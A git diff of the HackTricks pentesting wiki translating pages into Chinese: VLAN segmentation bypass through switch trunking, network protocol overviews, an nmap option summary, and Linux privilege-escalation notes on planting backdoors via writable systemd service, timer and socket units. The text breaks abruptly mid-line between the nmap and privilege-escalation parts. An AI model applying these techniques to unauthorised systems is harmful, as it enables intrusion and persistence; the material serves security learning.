- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md b/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md index eaf5835eb..8c18bfe92 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md +++ b/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md @@ -2,34 +2,27 @@ {{#include ../../banners/hacktricks-training.md}} -If direct access to a switch is available, VLAN segmentation can be bypassed. This involves reconfiguring the connected port to trunk mode, establishing virtual interfaces for target VLANs, and setting IP addresses, either dynamically (DHCP) or statically, depending on the scenario (**for further details check [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).** +如果可以直接访问交换机,可以绕过VLAN分段。这涉及将连接端口重新配置为干道模式,为目标VLAN建立虚拟接口,并设置IP地址,具体取决于场景,可以是动态(DHCP)或静态的(**有关更多详细信息,请查看 [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9))。** -Initially, identification of the specific connected port is required. This can typically be accomplished through CDP messages, or by searching for the port via the **include** mask. - -**If CDP is not operational, port identification can be attempted by searching for the MAC address**: +最初,需要识别特定的连接端口。这通常可以通过CDP消息完成,或通过**include**掩码搜索端口。 +**如果CDP无法操作,可以尝试通过搜索MAC地址进行端口识别**: ``` SW1(config)# show mac address-table | include 0050.0000.0500 ``` - -Prior to switching to trunk mode, a list of existing VLANs should be compiled, and their identifiers determined. These identifiers are then assigned to the interface, enabling access to various VLANs through the trunk. The port in use, for instance, is associated with VLAN 10. - +在切换到干道模式之前,应编制现有VLAN的列表,并确定它们的标识符。然后将这些标识符分配给接口,从而通过干道访问各种VLAN。例如,正在使用的端口与VLAN 10相关联。 ``` SW1# show vlan brief ``` - -**Transitioning to trunk mode entails entering interface configuration mode**: - +**切换到干线模式需要进入接口配置模式**: ``` SW1(config)# interface GigabitEthernet 0/2 SW1(config-if)# switchport trunk encapsulation dot1q SW1(config-if)# switchport mode trunk ``` +切换到干道模式会暂时中断连接,但随后可以恢复。 -Switching to trunk mode will temporarily disrupt connectivity, but this can be restored subsequently. - -Virtual interfaces are then created, assigned VLAN IDs, and activated: - +然后创建虚拟接口,分配VLAN ID,并激活: ```bash sudo vconfig add eth0 10 sudo vconfig add eth0 20 @@ -40,25 +33,20 @@ sudo ifconfig eth0.20 up sudo ifconfig eth0.50 up sudo ifconfig eth0.60 up ``` - -Subsequently, an address request is made via DHCP. Alternatively, in cases where DHCP is not viable, addresses can be manually configured: - +随后,通过DHCP发出地址请求。或者,在DHCP不可行的情况下,可以手动配置地址: ```bash sudo dhclient -v eth0.10 sudo dhclient -v eth0.20 sudo dhclient -v eth0.50 sudo dhclient -v eth0.60 ``` - -Example for manually setting a static IP address on an interface (VLAN 10): - +在接口上手动设置静态IP地址的示例(VLAN 10): ```bash sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0 ``` +连接性通过向VLAN 10、20、50和60的默认网关发起ICMP请求进行测试。 -Connectivity is tested by initiating ICMP requests to the default gateways for VLANs 10, 20, 50, and 60. - -Ultimately, this process enables bypassing of VLAN segmentation, thereby facilitating unrestricted access to any VLAN network, and setting the stage for subsequent actions. +最终,这个过程使得绕过VLAN分段成为可能,从而促进对任何VLAN网络的无限制访问,并为后续操作奠定基础。 ## References diff --git a/src/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md b/src/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md index 72dfbfb12..97faf395e 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md +++ b/src/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md @@ -1,55 +1,55 @@ {{#include ../../banners/hacktricks-training.md}} -## Multicast DNS (mDNS) +## 多播 DNS (mDNS) -The **mDNS** protocol is designed for IP address resolution within small, local networks without a dedicated name server. It operates by multicasting a query within the subnet, prompting the host with the specified name to respond with its IP address. All devices in the subnet can then update their mDNS caches with this information. +**mDNS** 协议旨在在小型本地网络中进行 IP 地址解析,而无需专用名称服务器。它通过在子网内进行多播查询,促使指定名称的主机以其 IP 地址进行响应。子网中的所有设备可以使用此信息更新其 mDNS 缓存。 -Key points to note: +需要注意的关键点: -- **Domain Name Relinquishment**: A host can release its domain name by sending a packet with a TTL of zero. -- **Usage Restriction**: mDNS typically resolves names ending in **.local** only. Conflicts with non-mDNS hosts in this domain require network configuration adjustments. -- **Networking Details**: - - Ethernet multicast MAC addresses: IPv4 - `01:00:5E:00:00:FB`, IPv6 - `33:33:00:00:00:FB`. - - IP addresses: IPv4 - `224.0.0.251`, IPv6 - `ff02::fb`. - - Operates over UDP port 5353. - - mDNS queries are confined to the local network and do not cross routers. +- **域名放弃**:主机可以通过发送 TTL 为零的数据包来释放其域名。 +- **使用限制**:mDNS 通常仅解析以 **.local** 结尾的名称。在此域中与非 mDNS 主机的冲突需要网络配置调整。 +- **网络详细信息**: + - 以太网多播 MAC 地址:IPv4 - `01:00:5E:00:00:FB`,IPv6 - `33:33:00:00:00:FB`。 + - IP 地址:IPv4 - `224.0.0.251`,IPv6 - `ff02::fb`。 + - 通过 UDP 端口 5353 操作。 + - mDNS 查询仅限于本地网络,不跨越路由器。 -## DNS-SD (Service Discovery) +## DNS-SD (服务发现) -DNS-SD is a protocol for discovering services on a network by querying specific domain names (e.g., `_printers._tcp.local`). A response includes all related domains, such as available printers in this case. A comprehensive list of service types can be found [here](http://www.dns-sd.org/ServiceTypes.html). +DNS-SD 是一种通过查询特定域名(例如,`_printers._tcp.local`)在网络上发现服务的协议。响应包括所有相关域,例如可用的打印机。在 [这里](http://www.dns-sd.org/ServiceTypes.html) 可以找到服务类型的完整列表。 -## SSDP (Simple Service Discovery Protocol) +## SSDP (简单服务发现协议) -SSDP facilitates the discovery of network services and is primarily utilized by UPnP. It's a text-based protocol using UDP over port 1900, with multicast addressing. For IPv4, the designated multicast address is `239.255.255.250`. SSDP's foundation is [HTTPU](https://en.wikipedia.org/wiki/HTTPU), an extension of HTTP for UDP. +SSDP 促进网络服务的发现,主要由 UPnP 使用。它是一种基于文本的协议,使用 UDP 通过端口 1900 进行多播寻址。对于 IPv4,指定的多播地址是 `239.255.255.250`。SSDP 的基础是 [HTTPU](https://en.wikipedia.org/wiki/HTTPU),这是 HTTP 的一个 UDP 扩展。 -## Web Service for Devices (WSD) +## 设备的 Web 服务 (WSD) -Devices connected to a network can identify available services, like printers, through the Web Service for Devices (WSD). This involves broadcasting UDP packets. Devices seeking services send requests, while service providers announce their offerings. +连接到网络的设备可以通过设备的 Web 服务 (WSD) 识别可用服务,如打印机。这涉及广播 UDP 数据包。寻求服务的设备发送请求,而服务提供者则宣布其提供的服务。 ## OAuth 2.0 -OAuth 2.0 is a protocol facilitating secure, selective sharing of user information between services. For instance, it enables services to access user data from Google without multiple logins. The process involves user authentication, authorization by the user, and token generation by Google, allowing service access to the specified user data. +OAuth 2.0 是一种协议,促进服务之间安全、选择性地共享用户信息。例如,它使服务能够在不需要多次登录的情况下访问 Google 的用户数据。该过程涉及用户身份验证、用户授权和 Google 生成令牌,允许服务访问指定的用户数据。 ## RADIUS -RADIUS (Remote Authentication Dial-In User Service) is a network access protocol primarily used by ISPs. It supports authentication, authorization, and accounting. User credentials are verified by a RADIUS server, potentially including network address verification for added security. Post-authentication, users receive network access and their session details are tracked for billing and statistical purposes. +RADIUS(远程身份验证拨号用户服务)是一种网络访问协议,主要由 ISP 使用。它支持身份验证、授权和计费。用户凭据由 RADIUS 服务器验证,可能包括网络地址验证以增强安全性。身份验证后,用户获得网络访问权限,其会话详细信息会被跟踪以用于计费和统计目的。 -## SMB and NetBIOS +## SMB 和 NetBIOS -### SMB (Server Message Block) +### SMB (服务器消息块) -SMB is a protocol for sharing files, printers, and ports. It operates directly over TCP (port 445) or via NetBIOS over TCP (ports 137, 138). This dual compatibility enhances connectivity with various devices. +SMB 是一种用于共享文件、打印机和端口的协议。它直接通过 TCP(端口 445)或通过 TCP 上的 NetBIOS(端口 137、138)操作。这种双重兼容性增强了与各种设备的连接。 -### NetBIOS (Network Basic Input/Output System) +### NetBIOS (网络基本输入/输出系统) -NetBIOS manages network sessions and connections for resource sharing. It supports unique names for devices and group names for multiple devices, enabling targeted or broadcast messaging. Communication can be connectionless (no acknowledgment) or connection-oriented (session-based). While NetBIOS traditionally operates over protocols like IPC/IPX, it's commonly used over TCP/IP. NetBEUI, an associated protocol, is known for its speed but was also quite verbose due to broadcasting. +NetBIOS 管理网络会话和连接以共享资源。它支持设备的唯一名称和多个设备的组名称,从而实现有针对性或广播消息。通信可以是无连接的(无确认)或面向连接的(基于会话)。虽然 NetBIOS 传统上通过 IPC/IPX 等协议操作,但它通常在 TCP/IP 上使用。NetBEUI 是一种相关协议,以其速度而闻名,但由于广播也相当冗长。 -## LDAP (Lightweight Directory Access Protocol) +## LDAP (轻量级目录访问协议) -LDAP is a protocol enabling the management and access of directory information over TCP/IP. It supports various operations for querying and modifying directory information. Predominantly, it's utilized for accessing and maintaining distributed directory information services, allowing interaction with databases designed for LDAP communication. +LDAP 是一种协议,允许通过 TCP/IP 管理和访问目录信息。它支持查询和修改目录信息的各种操作。主要用于访问和维护分布式目录信息服务,允许与为 LDAP 通信设计的数据库进行交互。 ## Active Directory (AD) -Active Directory is a network-accessible database containing objects like users, groups, privileges, and resources, facilitating centralized management of network entities. AD organizes its data into a hierarchical structure of domains, which can encompass servers, groups, and users. Subdomains allow further segmentation, each potentially maintaining its own server and user base. This structure centralizes user management, granting or restricting access to network resources. Queries can be made to retrieve specific information, like contact details, or to locate resources, like printers, within the domain. +Active Directory 是一个可通过网络访问的数据库,包含用户、组、权限和资源等对象,促进网络实体的集中管理。AD 将其数据组织成域的层次结构,可以包含服务器、组和用户。子域允许进一步细分,每个子域可能维护自己的服务器和用户基础。该结构集中管理用户,授予或限制对网络资源的访问。可以进行查询以检索特定信息,如联系信息,或在域内查找资源,如打印机。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md b/src/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md index 02535d28b..bbdc5571d 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md +++ b/src/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md @@ -1,96 +1,90 @@ -# Nmap Summary (ESP) +# Nmap 摘要 (ESP) {{#include ../../banners/hacktricks-training.md}} - -
- -{% embed url="https://websec.nl/" %} - ``` nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24 ``` +## 参数 -## Parameters +### 要扫描的 IP -### IPs to scan - -- **`,`:** Indicate the ips directly +- **`,`:** 直接指示 IP - **`-iL `:** list_IPs -- **`-iR `**: Number of random Ips, you can exclude possible Ips with `--exclude ` or `--excludefile `. +- **`-iR `**: 随机 IP 的数量,可以使用 `--exclude ` 或 `--excludefile ` 排除可能的 IP。 -### Equipment discovery +### 设备发现 -By default Nmap launches a discovery phase consisting of: `-PA80 -PS443 -PE -PP` +默认情况下,Nmap 启动一个发现阶段,包括:`-PA80 -PS443 -PE -PP` -- **`-sL`**: It is not invasive, it lists the targets making **DNS** requests to resolve names. It is useful to know if for example www.prueba.es/24 all Ips are our targets. -- **`-Pn`**: **No ping**. This is useful if you know that all of them are active (if not, you could lose a lot of time, but this option also produces false negatives saying that they are not active), it prevents the discovery phase. -- **`-sn`** : **No port scan**. After completing the reconnaissance phase, it does not scan ports. It is relatively stealthy, and allows a small network scan. With privileges it sends an ACK (-PA) to 80, a SYN(-PS) to 443 and an echo request and a Timestamp request, without privileges it always completes connections. If the target is the network, it only uses ARP(-PR). If used with another option, only the packets of the other option are dropped. -- **`-PR`**: **Ping ARP**. It is used by default when analyzing computers in our network, it is faster than using pings. If you do not want to use ARP packets use `--send-ip`. -- **`-PS `**: It sends SYN packets to which if it answers SYN/ACK it is open (to which it answers with RST so as not to end the connection), if it answers RST it is closed and if it does not answer it is unreachable. In case of not having privileges, a total connection is automatically used. If no ports are given, it throws it to 80. -- **`-PA `**: Like the previous one but with ACK, combining both of them gives better results. -- **`-PU `**: The objective is the opposite, they are sent to ports that are expected to be closed. Some firewalls only check TCP connections. If it is closed it is answered with port unreachable, if it is answered with another icmp or not answered it is left as destination unreachable. -- **`-PE, -PP, -PM`** : ICMP PINGS: echo replay, timestamp and addresmask. They are launched to find out if the target is active. -- **`-PY`**: Sends SCTP INIT probes to 80 by default, INIT-ACK(open) or ABORT(closed) or nothing or ICMP unreachable(inactive) can be replied. -- **`-PO `**: A protocol is indicated in the headers, by default 1(ICMP), 2(IGMP) and 4(Encap IP). For ICMP, IGMP, TCP (6) and UDP (17) protocols the protocol headers are sent, for the rest only the IP header is sent. The purpose of this is that due to the malformation of the headers, Protocol unreachable or responses of the same protocol are answered to know if it is up. -- **`-n`**: No DNS -- **`-R`**: DNS always +- **`-sL`**: 这不是侵入性的,它列出目标并发出 **DNS** 请求以解析名称。它有助于了解例如 www.prueba.es/24 所有 IP 是否都是我们的目标。 +- **`-Pn`**: **不 ping**。如果你知道它们都是活动的,这很有用(如果不是,你可能会浪费很多时间,但这个选项也会产生错误的负面结果,表示它们不活跃),它会阻止发现阶段。 +- **`-sn`** : **不端口扫描**。完成侦察阶段后,不扫描端口。它相对隐蔽,并允许小规模网络扫描。具有权限时,它向 80 发送 ACK (-PA),向 443 发送 SYN(-PS) 和回声请求以及时间戳请求,若没有权限则始终完成连接。如果目标是网络,它仅使用 ARP(-PR)。如果与其他选项一起使用,则仅丢弃其他选项的数据包。 +- **`-PR`**: **Ping ARP**。在分析我们网络中的计算机时默认使用,它比使用 ping 更快。如果不想使用 ARP 数据包,请使用 `--send-ip`。 +- **`-PS `**: 向端口发送 SYN 数据包,如果回应 SYN/ACK 则表示开放(回应 RST 以避免结束连接),如果回应 RST 则表示关闭,如果没有回应则表示不可达。如果没有权限,则自动使用完全连接。如果未给出端口,则默认为 80。 +- **`-PA `**: 与前一个相似,但使用 ACK,结合使用可以获得更好的结果。 +- **`-PU `**: 目标相反,发送到预期关闭的端口。一些防火墙仅检查 TCP 连接。如果关闭,则回应端口不可达,如果回应其他 ICMP 或没有回应,则视为目标不可达。 +- **`-PE, -PP, -PM`** : ICMP PINGS: 回声回复、时间戳和地址掩码。它们被发出以确定目标是否活跃。 +- **`-PY`**: 默认向 80 发送 SCTP INIT 探测,回应可以是 INIT-ACK(开放)、ABORT(关闭)或无回应或 ICMP 不可达(不活跃)。 +- **`-PO `**: 在报头中指示协议,默认 1(ICMP)、2(IGMP)和 4(封装 IP)。对于 ICMP、IGMP、TCP(6)和 UDP(17)协议,发送协议报头,对于其他协议仅发送 IP 报头。这样做的目的是由于报头的畸形,回应协议不可达或同协议的回应,以了解其是否活跃。 +- **`-n`**: 不使用 DNS +- **`-R`**: 始终使用 DNS -### Port scanning techniques +### 端口扫描技术 -- **`-sS`**: Does not complete the connection so it leaves no trace, very good if it can be used.(privileges) It is the one used by default. -- **`-sT`**: Completes the connection, so it does leave a trace, but it can be used for sure. By default without privileges. -- **`-sU`**: Slower, for UDP. Mostly: DNS(53), SNMP(161,162), DHCP(67 and 68), (-sU53,161,162,67,68): open(reply), closed(port unreachable), filtered (another ICMP), open/filtered (nothing). In case of open/filtered, -sV sends numerous requests to detect any of the versions that nmap supports and can detect the true state. It increases a lot the time. -- **`-sY`**: SCTP protocol fails to establish the connection, so there are no logs, works like -PY -- **`-sN,-sX,-sF`:** Null, Fin, Xmas, they can penetrate some firewalls and extract information. They are based on the fact that standard compliant machines should respond with RST all requests that do not have SYN, RST or ACK lags raised: open/filtered(nothing), closed(RST), filtered (ICMP unreachable). Unreliable on WIndows, CIsco, BSDI and OS/400. On unix yes. -- **`-sM`**: Maimon scan: Sends FIN and ACK flags, used for BSD, currently will return all as closed. -- **`-sA, sW`**: ACK and Window, is used to detect firewalls, to know if the ports are filtered or not. The -sW does distinguish between open/closed since the open ones respond with a different window value: open (RST with window other than 0), closed (RST window = 0), filtered (ICMP unreachable or nothing). Not all computers work this way, so if it is all closed, it is not working, if it is a few open, it is working fine, and if it is many open and few closed, it is working the other way around. -- **`-sI`:** Idle scan. For the cases in which there is an active firewall but we know that it does not filter to a certain Ip (or when we simply want anonymity) we can use the zombie scanner (it works for all the ports), to look for possible zombies we can use the scrpit ipidseq or the exploit auxiliary/scanner/ip/ipidseq. This scanner is based on the IPID number of the IP packets. -- **`--badsum`:** It sends the sum wrong, the computers would discard the packets, but the firewalls could answer something, it is used to detect firewalls. -- **`-sZ`:** "Weird" SCTP scanner, when sending probes with cookie echo fragments they should be dropped if open or responded with ABORT if closed. It can pass through firewalls that init does not pass through, the bad thing is that it does not distinguish between filtered and open. -- **`-sO`:** Protocol Ip scan. Sends bad and empty headers in which sometimes not even the protocol can be distinguished. If ICMP unreachable protocol arrives it is closed, if unreachable port arrives it is open, if another error arrives, filtered, if nothing arrives, open|filtered. -- **`-b `:** FTPhost--> It is used to scan a host from another one, this is done by connecting the ftp of another machine and asking it to send files to the ports that you want to scan from another machine, according to the answers we will know if they are open or not. \[\:\@]\\[:\] Almost all ftps servers no longer let you do this and therefore it is of little practical use. +- **`-sS`**: 不完成连接,因此不会留下痕迹,如果可以使用,非常好。(需要权限)这是默认使用的。 +- **`-sT`**: 完成连接,因此会留下痕迹,但可以确保使用。默认情况下没有权限。 +- **`-sU`**: 较慢,针对 UDP。主要是:DNS(53)、SNMP(161,162)、DHCP(67 和 68),(-sU53,161,162,67,68):开放(回应)、关闭(端口不可达)、过滤(其他 ICMP)、开放/过滤(无回应)。在开放/过滤的情况下,-sV 发送大量请求以检测 nmap 支持的任何版本,并可以检测真实状态。这样会大大增加时间。 +- **`-sY`**: SCTP 协议未能建立连接,因此没有日志,工作方式类似于 -PY +- **`-sN,-sX,-sF`:** Null、Fin、Xmas,可以穿透某些防火墙并提取信息。它们基于标准合规机器应对所有没有 SYN、RST 或 ACK 的请求回应 RST 的事实,延迟:开放/过滤(无回应)、关闭(RST)、过滤(ICMP 不可达)。在 Windows、Cisco、BSDI 和 OS/400 上不可靠。在 Unix 上是可以的。 +- **`-sM`**: Maimon 扫描:发送 FIN 和 ACK 标志,适用于 BSD,目前将所有返回为关闭。 +- **`-sA, sW`**: ACK 和窗口,用于检测防火墙,以了解端口是否被过滤。-sW 确实区分开放/关闭,因为开放的回应具有不同的窗口值:开放(RST 窗口不为 0)、关闭(RST 窗口 = 0)、过滤(ICMP 不可达或无回应)。并非所有计算机都以这种方式工作,因此如果全部关闭,则不工作;如果有几个开放,则工作正常;如果有很多开放和少量关闭,则工作方式相反。 +- **`-sI`:** Idle 扫描。对于存在活动防火墙但我们知道它不过滤特定 IP 的情况(或当我们只是想要匿名时),可以使用僵尸扫描器(适用于所有端口),要查找可能的僵尸,可以使用脚本 ipidseq 或利用辅助扫描器 auxiliary/scanner/ip/ipidseq。该扫描器基于 IP 数据包的 IPID 编号。 +- **`--badsum`:** 发送错误的和,计算机会丢弃数据包,但防火墙可能会回应某些内容,用于检测防火墙。 +- **`-sZ`:** "奇怪"的 SCTP 扫描器,当发送带有 cookie 回声片段的探测时,如果开放则应被丢弃,如果关闭则应回应 ABORT。它可以穿透 init 无法穿透的防火墙,坏处是它无法区分过滤和开放。 +- **`-sO`:** 协议 IP 扫描。发送错误和空报头,有时甚至无法区分协议。如果 ICMP 不可达协议到达,则表示关闭;如果不可达端口到达,则表示开放;如果到达其他错误,则表示过滤;如果没有到达,则表示开放|过滤。 +- **`-b `:** FTPhost--> 用于从另一台主机扫描主机,通过连接另一台机器的 ftp 并请求其将文件发送到要从另一台机器扫描的端口,根据回应我们将知道它们是否开放。 \[\:\@]\\[:\]几乎所有 ftps 服务器不再允许这样做,因此实用性不大。 -### **Focus Analysis** +### **重点分析** -**-p:** Used to specify ports to scan. To select all 65,335 ports: **-p-** or **-p all**. Nmap has an internal classification based on popularity. By default, it uses the top 1000 ports. With **-F** (fast scan) it analyzes the top 100. With **--top-ports ** it analyzes that number of top ports (from 1 to 65,335). It checks ports in random order; to prevent this, use **-r**. We can also select specific ports: 20-30,80,443,1024- (the latter means to look from 1024 onwards). We can also group ports by protocols: U:53,T:21-25,80,139,S:9. We can also choose a range within Nmap's popular ports: -p [-1024] analyzes up to port 1024 from those included in nmap-services. **--port-ratio ** Analyzes the most common ports within a ratio between 0 and 1 +**-p:** 用于指定要扫描的端口。要选择所有 65,335 个端口:**-p-** 或 **-p all**。Nmap 有一个基于流行度的内部分类。默认情况下,它使用前 1000 个端口。使用 **-F**(快速扫描)分析前 100 个。使用 **--top-ports ** 分析该数量的前端口(从 1 到 65,335)。它以随机顺序检查端口;要防止这种情况,请使用 **-r**。我们还可以选择特定端口:20-30,80,443,1024-(后者表示从 1024 开始查找)。我们还可以按协议对端口进行分组:U:53,T:21-25,80,139,S:9。我们还可以选择 Nmap 流行端口中的范围:-p [-1024] 分析到 1024 端口的所有端口,这些端口包含在 nmap-services 中。**--port-ratio ** 分析在 0 到 1 之间的比率内最常见的端口。 -**-sV** Version scanning, intensity can be regulated from 0 to 9, default is 7. +**-sV** 版本扫描,强度可以从 0 调整到 9,默认是 7。 -**--version-intensity ** We regulate the intensity, so that the lower it is, it will only launch the most probable probes, but not all. With this, we can considerably shorten UDP scanning time +**--version-intensity ** 我们调节强度,越低只会发出最可能的探测,但不是全部。这样可以大大缩短 UDP 扫描时间。 -**-O** OS detection +**-O** 操作系统检测。 -**--osscan-limit** For proper host scanning, at least one open port and one closed port are needed. If this condition isn't met and we've set this, it won't attempt OS prediction (saves time) +**--osscan-limit** 为了正确扫描主机,至少需要一个开放端口和一个关闭端口。如果未满足此条件且我们设置了此选项,则不会尝试 OS 预测(节省时间)。 -**--osscan-guess** When OS detection isn't perfect, this makes it try harder +**--osscan-guess** 当操作系统检测不完美时,这会使其更加努力。 -**Scripts** +**脚本** --script __|__|__|__[,...] -To use default scripts, use -sC or --script=default +要使用默认脚本,请使用 -sC 或 --script=default。 -Available types are: auth, broadcast, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version, and vuln +可用类型有:auth、broadcast、default、discovery、dos、exploit、external、fuzzer、intrusive、malware、safe、version 和 vuln。 -- **Auth:** executes all available authentication scripts -- **Default:** executes basic default tool scripts -- **Discovery:** retrieves information from the target or victim -- **External:** script for using external resources -- **Intrusive:** uses scripts considered intrusive to the victim or target -- **Malware:** checks for connections opened by malicious code or backdoors -- **Safe:** executes non-intrusive scripts -- **Vuln:** discovers the most known vulnerabilities -- **All:** executes absolutely all available NSE extension scripts +- **Auth:** 执行所有可用的身份验证脚本。 +- **Default:** 执行基本的默认工具脚本。 +- **Discovery:** 从目标或受害者处检索信息。 +- **External:** 使用外部资源的脚本。 +- **Intrusive:** 使用被认为对受害者或目标具有侵入性的脚本。 +- **Malware:** 检查恶意代码或后门打开的连接。 +- **Safe:** 执行非侵入性脚本。 +- **Vuln:** 发现最常见的漏洞。 +- **All:** 执行所有可用的 NSE 扩展脚本。 -To search for scripts: +要搜索脚本: -**nmap --script-help="http-\*" -> Those starting with http-** +**nmap --script-help="http-\*" -> 以 http- 开头的那些** -**nmap --script-help="not intrusive" -> All except those** +**nmap --script-help="not intrusive" -> 除了那些** -**nmap --script-help="default or safe" -> Those in either or both** +**nmap --script-help="default or safe" -> 其中任何一个或两个的那些** -**nmap --script-help="default and safe" --> Those in both** +**nmap --script-help="default and safe" --> 两者都有的那些** **nmap --script-help="(default or safe or intrusive) and not http-\*"** @@ -100,135 +94,135 @@ To search for scripts: --script-help __|__|__|__|all[,...] ---script-trace ---> Provides info on how the script is progressing +--script-trace ---> 提供有关脚本进展的信息。 --script-updatedb -**To use a script, just type: nmap --script Script_Name target** --> When using the script, both the script and scanner will execute, so scanner options can also be added. We can add **"safe=1"** to execute only safe ones. +**要使用脚本,只需输入: nmap --script Script_Name target** --> 使用脚本时,脚本和扫描器都会执行,因此也可以添加扫描器选项。我们可以添加 **"safe=1"** 以仅执行安全的脚本。 -**Time Control** +**时间控制** -**Nmap can modify time in seconds, minutes, ms:** --host-timeout arguments 900000ms, 900, 900s, and 15m all do the same thing. +**Nmap 可以修改时间为秒、分钟、毫秒:** --host-timeout 参数 900000ms、900、900s 和 15m 都是相同的。 -Nmap divides the total number of hosts to scan into groups and analyzes these groups in blocks, so it doesn't move to the next block until all have been analyzed (and the user doesn't receive any updates until the block has been analyzed). This way, it's more optimal for Nmap to use large groups. By default in class C, it uses 256. +Nmap 将要扫描的主机总数分成组,并以块的方式分析这些组,因此在所有主机都被分析之前不会移动到下一个块(用户在块分析完成之前不会收到任何更新)。这样,Nmap 使用大组更为优化。默认情况下,在 C 类中,它使用 256。 -This can be changed with **--min-hostgroup** _****_**;** **--max-hostgroup** _****_ (Adjust parallel scan group sizes) +这可以通过 **--min-hostgroup** _****_**;** **--max-hostgroup** _****_(调整并行扫描组大小)来更改。 -You can control the number of parallel scanners but it's better not to (Nmap already incorporates automatic control based on network status): **--min-parallelism** _****_**;** **--max-parallelism** _****_ +您可以控制并行扫描器的数量,但最好不要这样做(Nmap 已根据网络状态自动控制):**--min-parallelism** _****_**;** **--max-parallelism** _****_。 -We can modify the RTT timeout, but it's usually not necessary: **--min-rtt-timeout** _**
您可以监控进程,以搜索每 1、2 或 5 分钟执行的进程。也许您可以利用这一点来提升权限。 -例如,要**每 0.1 秒监控 1 分钟**,**按执行次数较少的命令排序**并删除执行次数最多的命令,您可以执行: +例如,要**每 0.1 秒监控 1 分钟**,**按执行次数较少的命令排序**并删除执行次数最多的命令,您可以这样做: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` @@ -380,8 +380,8 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### 可写的 _.service_ 文件 -检查您是否可以写入任何 `.service` 文件,如果可以,您 **可以修改它** 以便在服务 **启动**、**重启**或 **停止** 时 **执行** 您的 **后门**(也许您需要等到机器重启)。\ -例如,在 .service 文件中创建您的后门,使用 **`ExecStart=/tmp/script.sh`** +检查您是否可以写任何 `.service` 文件,如果可以,您 **可以修改它** 以便它 **在服务** 被 **启动**、**重启**或 **停止** 时 **执行** 您的 **后门**(也许您需要等到机器重启)。\ +例如在 .service 文件中创建您的后门,使用 **`ExecStart=/tmp/script.sh`** ### 可写的服务二进制文件 @@ -401,7 +401,7 @@ ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` 然后,在您可以写入的 systemd PATH 文件夹中创建一个 **可执行文件**,其 **名称与相对路径二进制文件相同**,当服务被要求执行脆弱操作(**启动**,**停止**,**重新加载**)时,您的 **后门将被执行**(普通用户通常无法启动/停止服务,但请检查您是否可以使用 `sudo -l`)。 -**了解有关服务的更多信息,请参见 `man systemd.service`。** +**了解有关服务的更多信息,请参阅 `man systemd.service`。** ## **定时器** @@ -419,7 +419,7 @@ Unit=backdoor.service ``` 在文档中,您可以阅读单位的定义: -> 当此计时器到期时要激活的单位。参数是单位名称,其后缀不是“.timer”。如果未指定,则此值默认为与计时器单位同名的服务,后缀除外。(见上文。)建议激活的单位名称和计时器单位的单位名称在后缀之外是相同的。 +> 当此计时器到期时要激活的单位。参数是单位名称,其后缀不是“.timer”。如果未指定,则此值默认为与计时器单位同名的服务,后缀除外。(见上文。)建议激活的单位名称和计时器单位的单位名称在后缀之外命名相同。 因此,要滥用此权限,您需要: @@ -443,13 +443,13 @@ Unix 域套接字 (UDS) 使得在客户端-服务器模型中同一台或不同 套接字可以使用 `.socket` 文件进行配置。 -**通过 `man systemd.socket` 了解更多关于套接字的信息。** 在此文件中,可以配置几个有趣的参数: +**了解更多关于套接字的信息,请使用 `man systemd.socket`。** 在此文件中,可以配置几个有趣的参数: - `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: 这些选项不同,但总结用于 **指示将要监听的位置**(AF_UNIX 套接字文件的路径,监听的 IPv4/6 和/或端口号等) - `Accept`: 接受一个布尔参数。如果 **true**,则 **为每个传入连接生成一个服务实例**,并且仅将连接套接字传递给它。如果 **false**,则所有监听套接字本身都被 **传递给启动的服务单元**,并且仅为所有连接生成一个服务单元。对于数据报套接字和 FIFO,此值被忽略,因为单个服务单元无条件处理所有传入流量。**默认为 false**。出于性能原因,建议仅以适合 `Accept=no` 的方式编写新的守护进程。 - `ExecStartPre`, `ExecStartPost`: 接受一个或多个命令行,这些命令在监听 **套接字**/FIFO 被 **创建** 和绑定之前或之后 **执行**。命令行的第一个标记必须是绝对文件名,后面跟着进程的参数。 - `ExecStopPre`, `ExecStopPost`: 在监听 **套接字**/FIFO 被 **关闭** 和移除之前或之后 **执行** 的附加 **命令**。 -- `Service`: 指定 **在传入流量上激活的** **服务** 单元名称。此设置仅允许用于 Accept=no 的套接字。默认为与套接字同名的服务(后缀被替换)。在大多数情况下,不需要使用此选项。 +- `Service`: 指定 **在传入流量上激活的** 